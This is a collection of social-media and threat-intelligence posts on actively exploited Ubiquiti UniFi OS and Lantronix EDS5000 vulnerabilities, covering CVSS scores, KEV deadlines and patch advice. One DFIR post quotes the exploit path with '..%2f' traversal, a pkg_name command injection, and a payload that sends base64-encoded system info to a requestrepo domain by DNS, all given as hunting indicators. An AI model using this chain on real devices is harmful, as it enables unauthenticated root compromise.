CVE-2026-34908Active Exploitation(ui / enterprise_fortress_gateway)

CVE-2026-34908, CVE-2026-34909 & CVE-2026-34910: Vulnerabilities in Ubiquiti UniFi OS, 10.0 rating 🔥🔥🔥 Three new vulnerabilities in Ubiquiti UniFi OS allow an network attacker to make unauthorized changes, access files and execute arbitrary command. It may cause to full device compromise. 👉 https://nt.ls/oMQHo

🚨The UniFi OS Server RCE chain (CVE-2026-34908/34909/34910) is now being actively exploited Bishop Fox researchers discovered it is possible to chain three vulnerabilities together to achieve unauthenticated remote code execution as root - this is now already being used to deploy commodity malware See the live exploit intel 👉 https://console.defusedcyber.com/signup

🚨 CVE-2026-34908 - critical 🚨 UniFi OS - Authentication Bypass via Path Traversal (..%2f) > UniFi OS devices contain an improper access control vulnerability caused by insuffici... 👾 https://cloud.projectdiscovery.io/library/CVE-2026-34908 @pdnuclei #NucleiTemplates #cve

米国CISAが悪用を確認した脆弱性 #KEV をカタログに追加しました。（6/23追加） 🛡CVE-2025-67038 ✅概要 ・深刻度：緊急 9.8 (CVSS Base) / CISA-ADP ・種別：コード・インジェクション (CWE-94) ・CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Lantronix EDS5000 2.1.0.0R3 の HTTP RPC モジュールに存在する脆弱性です。 認証失敗時のログ書き込み処理で username パラメータがサニタイズされずにシェルコマンドへ連結されます。 悪用により、攻撃者が任意の OS コマンドを root 権限で実行できる可能性があります。 ✅ChatGPTによる脆弱性評価 ・国内影響度：中 ・悪用難易度：低 ✅CISA 評価 ・攻撃自動化：自動化は可能 ・技術的影響：完全制御 ✅攻撃前提条件 ・Lantronix EDS5000 2.1.0.0R3 を使用している ・HTTP RPC インターフェースへ攻撃者がネットワーク経由でアクセスできる ・認証失敗時のログ書き込み処理が影響を受ける状態である ・修正済みファームウェアまたは緩和策が適用されていない ✅悪用時影響 ・username パラメータ経由で任意の OS コマンドを挿入される可能性がある ・挿入されたコマンドを root 権限で実行される可能性がある ・機器の機密性、完全性、可用性に高い影響が生じる ・ネットワーク機器を踏み台化される可能性がある ✅悪用事例等に関する公開情報 ・PoC/Exploit：公開情報確認できず ・ITW：未確認 ✅関連情報 ・https://nvd.nist.gov/vuln/detail/CVE-2025-67038 ・http://lantronix.com ・https://www.cisa.gov/news-events/ics-advisories/icsa-26-069-02 ・https://github.com/cisagov/vulnrichment/blob/develop/2025/67xxx/CVE-2025-67038.json ・https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-67038 🛡CVE-2026-34908 Ubiquiti UniFi OS Improper Access Control Vulnerability ✅概要 ・深刻度：緊急 10.0 (CVSS Base) / HackerOne (CNA) ・種別：不適切なアクセス制御 (CWE-284) ・CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H UniFi OS デバイスに存在する不適切なアクセス制御の脆弱性です。 ネットワークアクセス可能な攻撃者が、本来許可されないシステム変更を実行できる可能性があります。 ✅ChatGPTによる脆弱性評価 ・国内影響度：高 ・悪用難易度：低 ✅CISA 評価 ・攻撃自動化：自動化は可能 ・技術的影響：完全制御 ✅攻撃前提条件 ・影響を受ける UniFi OS デバイスまたは UniFi OS Server を使用している ・攻撃者が対象機器へネットワーク経由でアクセスできる ・攻撃者は認証情報を必要としない ・修正済みバージョンへ更新されていない ✅悪用時影響 ・不正なシステム変更を実行される可能性がある ・認証を回避して内部機能へ到達される可能性がある ・他の UniFi OS 脆弱性と組み合わせてリモートコード実行につながる可能性がある ・機器の機密性、完全性、可用性に高い影響が生じる ✅悪用事例等に関する公開情報 ・PoC/Exploit：一部公開（技術情報のみ） ・ITW：確認済み（PwnDefend / Xservus Limited） PwnDefend は Defused honeypot とトリアージにより、UniFi OS の SAB-064 関連脆弱性を悪用した Mirai 系ボット化の実悪用を確認したと公表。 ✅関連情報 ・https://nvd.nist.gov/vuln/detail/CVE-2026-34908 ・https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b ・https://github.com/cisagov/vulnrichment/blob/develop/2026/34xxx/CVE-2026-34908.json ・https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908 ・https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/ 🛡CVE-2026-34909 Ubiquiti UniFi OS Path Traversal Vulnerability ✅概要 ・深刻度：緊急 10.0 (CVSS Base) / HackerOne (CNA) ・種別：パス・トラバーサル (CWE-22) ・CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H UniFi OS デバイスに存在するパス・トラバーサルの脆弱性です。 ネットワークアクセス可能な攻撃者が、基盤システム上のファイルへアクセスし、基盤アカウントへのアクセスに悪用できる可能性があります。 ✅ChatGPTによる脆弱性評価 ・国内影響度：高 ・悪用難易度：低 ✅CISA 評価 ・攻撃自動化：自動化は可能 ・技術的影響：完全制御 ✅攻撃前提条件 ・影響を受ける UniFi OS デバイスまたは UniFi OS Server を使用している ・攻撃者が対象機器へネットワーク経由でアクセスできる ・攻撃者は認証情報を必要としない ・修正済みバージョンへ更新されていない ✅悪用時影響 ・基盤システム上のファイルへアクセスされる可能性がある ・ファイルアクセスを悪用して基盤アカウントへのアクセスにつなげられる可能性がある ・他の UniFi OS 脆弱性と組み合わせて機器を侵害される可能性がある ・機密性、完全性、可用性に高い影響が生じる ✅悪用事例等に関する公開情報 ・PoC/Exploit：一部公開（技術情報のみ） ・ITW：確認済み（PwnDefend / Xservus Limited） PwnDefend は Defused honeypot とトリアージにより、UniFi OS の SAB-064 関連脆弱性を悪用した Mirai 系ボット化の実悪用を確認したと公表。 ✅関連情報 ・https://nvd.nist.gov/vuln/detail/CVE-2026-34909 ・https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b ・https://github.com/cisagov/vulnrichment/blob/develop/2026/34xxx/CVE-2026-34909.json ・https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34909 ・https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/ 🛡CVE-2026-34910 Ubiquiti UniFi OS Improper Input Validation Vulnerability ✅概要 ・深刻度：緊急 10.0 (CVSS Base) / HackerOne (CNA) ・種別：不適切な入力確認 (CWE-20) ・CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H UniFi OS デバイスに存在する不適切な入力確認の脆弱性です。 ネットワークアクセス可能な攻撃者が細工した入力を送信することで、コマンドインジェクションを実行できる可能性があります。 悪用により、対象機器上で任意の OS コマンド実行につながる可能性があります。 ✅ChatGPTによる脆弱性評価 ・国内影響度：高 ・悪用難易度：低 ✅CISA 評価 ・SSVC 悪用の状況：悪用確認済 ・攻撃自動化：自動化は可能 ・技術的影響：完全制御 (GitHub) ✅攻撃前提条件 ・影響を受ける UniFi OS デバイスまたは UniFi OS Server を使用している ・攻撃者が対象機器へネットワーク経由でアクセスできる ・攻撃者は認証情報を必要としない ・入力検証不備を含む更新処理または関連機能が影響を受ける状態である ・修正済みバージョンへ更新されていない ✅悪用時影響 ・コマンドインジェクションを実行される可能性がある ・対象機器上で任意の OS コマンドを実行される可能性がある ・Mirai 系ボットのローダーやインプラントを配置される可能性がある ・機器の完全な侵害につながる可能性がある ✅悪用事例等に関する公開情報 ・PoC/Exploit：一部公開（技術情報のみ） ・ITW：確認済み（PwnDefend / Xservus Limited） PwnDefend は Defused honeypot とトリアージにより、UniFi OS の SAB-064 関連脆弱性を悪用した Mirai 系ボット化の実悪用を確認したと公表。 ✅関連情報 ・https://nvd.nist.gov/vuln/detail/CVE-2026-34910 ・https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b ・https://github.com/cisagov/vulnrichment/blob/develop/2026/34xxx/CVE-2026-34910.json ・https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34910 ・https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/ https://www.cisa.gov/news-events/alerts/2026/06/23/cisa-adds-four-known-exploited-vulnerabilities-catalog #vulnerability

CVE-2026-34908

UbiquitiがUniFi OSでCVSSスコア10の脆弱性3件を修正。CVE-2026-34908、CVE-2026-34909、CVE-2026-34910。なお、CVSSスコア9.1のCVE-2026-33000と7.7のCVE-2026-34911も修正されている。

scanning tool from @bishopfox https://raw.githubusercontent.com/BishopFox/CVE-2026-34908-check/refs/heads/main/cve_2026_34908_check.py

#ThreatProtection #CVE-2026-34908 - UniFi OS Auth Bypass #Vulnerability, read more about Symantec's protection: https://www.broadcom.com/support/security-center/protection-bulletin/cve-2026-34908-unifi-os-auth-bypass-vulnerability

UniFi OS Server auth bypass chained with command injection enables single-request RCE. Mass scanning underway targeting 100k+ exposed endpoints, with blind exfiltration via DNS callbacks. Key technical details: • CVE-2026-34908: nginx parser differential allows unauthenticated access to internal /proxy/ endpoints via ..%2f encoding • CVE-2026-34910: Command injection in pkg_name parameter executes shell commands as service account • Payload uses `uname | base64`.requestrepo[.]com for blind RCE confirmation via DNS exfiltration • Affects UniFi OS Server ≤5.0.6, fixed in 5.0.8 (released 2026-05-21) • Service account has passwordless sudo - trivial escalation to root Attack methodology: • Mass scanner probes with spoofed Safari user agents, inconsistent OS versions • Two requests seconds apart: uname -r and uname -a for kernel fingerprinting • No HTTP response needed - DNS lookup to collaborator confirms execution • Base64-encoded system info exfiltrated as subdomain label DFIR artifacts: • Smoking gun: DNS queries to h4wiu0w9.requestrepo[.]com or any *.requestrepo[.]com from appliance • Web logs: /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package with pkg_name injection • Process execution: curl/uname/base64 children of web service process • Post-exploit: sudo invocations by service account, new persistence mechanisms Hunt query: Search DNS/proxy logs for requestrepo[.]com. Any hit from UniFi appliance = confirmed compromise. #DFIR_Radar

23 vulnerabilities were added to the CISA KEV list this past month, with an aggressive focus on authentication bypasses and RCE bugs targeting core network-edge and monitoring infrastructure. Key Exploitation Vectors to Patch Immediately were: SimpleHelp RMM (CVE-2026-48558 - CVSS 10.0): Pre-auth OIDC signature bypass allowing immediate MSP administrative takeover and downstream deployment of TaskWeaver loader/Djinn Stealer. Splunk Enterprise (CVE-2026-20253 - CVSS 9.8): Pre-auth RCE via the PostgreSQL sidecar component. Public functional exploit is actively circulating in the wild. Oracle PeopleSoft (CVE-2026-35273 - CVSS 9.8): Missing authentication exploit actively weaponised by ShinyHunters for financial environment takeovers. Check Point Security Gateway (CVE-2026-50751 - CVSS 9.3): IKEv1 auth bypass zero-day actively leveraged by Qilin ransomware affiliates. Ubiquiti UniFi OS (CVE-2026-34908, -34909, -34910 - CVSS 10.0 each): Automated botnet campaign executing access control bypasses and command injection at scale. PTC Windchill / FlexPLM (CVE-2026-12569 - CVSS 9.8): Deserialization flaws allowing attackers to drop JSP web shells on exposed engineering pipelines. Operational Focus: Authentication and access control bypasses outpaced standard RCEs this cycle. Prioritize your SIEM (Splunk) and remote control frameworks (SimpleHelp) over individual endpoints, as attackers are intentionally targetting visibility and management layers first. Full sector matrix and action tracker: https://www.hackerstorm.com/articles/our-blog/vulnerabililty-intelligence/monthly-vulnerability-priority-report-june-2026

A command injection flaw in Lantronix EDS5000 serial-to-Ethernet device servers hit CISA's KEV catalog yesterday. CVE-2025-67038, CVSS 9.8. Federal civilian agencies have until June 26 to patch. That's 48 hours. The mechanics are as clean as they get. The HTTP RPC module constructs a shell command to log failed authentication attempts — and concatenates the supplied username directly into that command, unsanitized. Send a crafted username with OS command metacharacters. The shell executes them as root. The trigger is a failed login, meaning exploitation requires no valid credentials whatsoever, just network reachability to the HTTP RPC port. Pre-auth. Root. No complexity. Three for three on the criteria that make a CVE immediately weaponizable. Affected firmware is 2.1.0.0R3 across the EDS5008, EDS5016, and EDS5032. The vulnerability class is CWE-78 OS command injection. CVSS vector: AV:N/AC:L/PR:N/UI:N — as permissive as the scoring system allows. The device class matters here. EDS5000 units are serial device servers — they sit at the boundary between legacy serial-connected OT equipment (PLCs, RTUs, SCADA terminal servers) and IP-routed networks. A root shell on one of these is not just a box compromise. It's a potential pivot into the OT network behind it, with the ability to relay or interfere with serial communications to industrial equipment. Serial device servers have a well-earned reputation for sitting in network closets and on plant floors, quietly forgotten, unpatched for years. They are nothing if not consistent. CISA added CVE-2025-67038 on June 23 alongside three Ubiquiti UniFi OS CVEs — CVE-2026-34908 at CVSS 10.0, CVE-2026-34909, and CVE-2026-34910 — all carrying the same June 26 deadline. A four-CVE batch, two vendors, one date, coordinated federal urgency. The pattern suggests a wave, not isolated incidents. MITRE mapping: T1190 (Exploit Public-Facing Application) for initial access, T1059.004 (Unix Shell) for execution, T1068 for privilege escalation, and T1059.008 as the likely OT pivot path. Known ransomware use is currently unconfirmed, but the device class and pivot potential make this an attractive staging point. For federal agencies, June 26 is the clock. For everyone else, that deadline is yours too. Lantronix patch firmware is available. CISA ICS Advisory ICSA-26-069-02 has the full technical breakdown. If UniFi infrastructure is in scope, the CVSS 10.0 co-listed CVE warrants its own look.

00:00 UTC: CVE-2026-34908 disclosed. CISA: CVE-2026-34908 added to Known Exploited Vulnerabilities — Ubiquiti UniFi OS Status: ✅ Confirmed exploited in the wild Date added: 2026-06-23 Required action: Apply mitigations in accordance with vendor instructions, ensuring…

Full Tweet 🚨The UniFi OS Server RCE chain (CVE-2026-34908/34909/34910) is now being actively exploited 0day Intel: 🚨The UniFi OS Server RCE chain (CVE-2026-34908/34909/34910) is now being active

CVE-2026-34908: 🚨The UniFi OS Server RCE chain (CVE-2026-34908/34909/34910) is now being actively exploited Bishop Fox researchers discovered it is possible to chain three vulnerabilities together to achieve unauthenticated remote code execution as root - this is now…

0day Intel: 🚨The UniFi OS Server RCE chain (CVE-2026-34908/34909/34910) is now being active

Source: X search for RCE 2026 exploit Posted: 2026-06-09T06:50:44.000Z Likes: 11 0day Intel: 🚨The UniFi OS Server RCE chain (CVE-2026-34908/34909/34910) is now being active

Top #CVE to #patch this week 👀 - @Ubiquiti UniFi OS (CVE-2026-34908, 34909, 34910) critical flaws - @Cisco UCM (CVE-2026-20230) SSRF to root - Another two @Linux Privesc pedit COW(CVE-2026-46331), DirtyClone - @Linux kernel — new DirtyFrag family privesc, JFrog published exploit - @apache_httpd Server (CVE-2026-44631, CVE-2026-29167) - @splunk Enterprise (CVE-2026-20253) missing auth - @nginx Plus (CVE-2026-42055) - @squidproxy (CVE-2026-47729) Squidbleed, a 29-year-old memory leak found by Mythos. Update to v7.6

@grok Please perform a thorough re-review and verification of the cybersecurity supply chain thread above (the 9-part thread posted today) for technical accuracy, source quality, timeliness, and actionability. **Specific Focus Areas:** - **CVE / Vulnerability Accuracy**: Confirm exact CVE IDs (e.g. CVE-2026-34908, CVE-2026-34909, CVE-2026-34910), CVSS scores, in-the-wild exploitation status, affected products/versions (Ubiquiti UniFi OS, Lantronix EDS5000), patch availability, and the June 26 deadline / BOD 26-04 context. Cross-check CISA KEV and NVD directly. - **Incident Timelines & Attribution**: Verify dates and details for the LastPass/Klue OAuth token theft (Icarus group, ~June 12 incident, confirmed ~June 23), Tata Electronics / World Leaks data leak (Apple supply chain exposure), and any post-thread updates. - **npm / Package Manager Waves**: Validate Red Hat @redhat-cloud-services compromise details (Miasma worm, ~30-32 packages / 90+ versions, compromised GitHub account + valid SLSA provenance), the Phantom Gyp / binding.gyp + node-gyp variant (~57+ packages), and earlier TanStack/Mini Shai-Hulud family hits. Confirm via Red Hat, Snyk, Unit 42, Microsoft, and primary disclosures. - **Healthcare / Third-Party Vendor Stats**: Verify the Omega Systems 2026 Healthcare IT Landscape Report figures cited via HIPAA Journal (85% operational disruptions from third-party vendors, 24% direct vendor breaches, 61% expect fatal cyberattack / patient safety impact). Assess balance of the AI adoption + vendor trust interpretation. - **"Why It Matters" & Implications**: Evaluate supply chain / OAuth / provenance / CI-CD exposure claims and downstream risks (phishing, IP theft, Apple supply chain, Salesforce data). Explicitly address implications for secure multi-agent AI systems, code/model/dependency provenance, agent deployment pipelines, and practical defenses for SMBs and healthcare organizations. - **Source Quality & Traceability**: Assess all cited or implied sources (CISA, LastPass blog, BleepingComputer, HIPAA Journal/Omega report, Unit 42, Snyk, Red Hat, Group-IB, Black Kite, etc.). Flag any unsourced/overstated claims or areas needing stronger primary

3.⚡ CVE-2026-34908: UniFi OS fails to validate authorization on certain management API endpoints. Unauthenticated HTTP requests bypass session checks — giving network-adjacent attackers write access to firewall rules, VLAN configs, and routing tables.

Three UniFi OS vulnerabilities are now being actively exploited—but many users may already be protected thanks to UniFi’s automatic update system. In this episode of IT SPARC Cast – CVE of the Week, @loudoggeek and I discuss: CVE-2026-34908 CVE-2026-34909 CVE-2026-34910 How vulnerability chaining creates critical risk Why automatic patching matters Continuous patching vs. traditional maintenance windows What network administrators should do today Recommended Actions ✅ Update UniFi OS immediately ✅ Verify auto-updates are enabled ✅ Run the Bishop Fox detection script ✅ Audit all network infrastructure firmware ✅ Review your organization’s patch strategy If you manage UniFi networking equipment, this is an episode you don’t want to miss. 💬 feedback@itsparccast.com 🐦 @itsparccast on X 👍 Like, Subscribe, and turn on notifications for more enterprise IT and cybersecurity insights.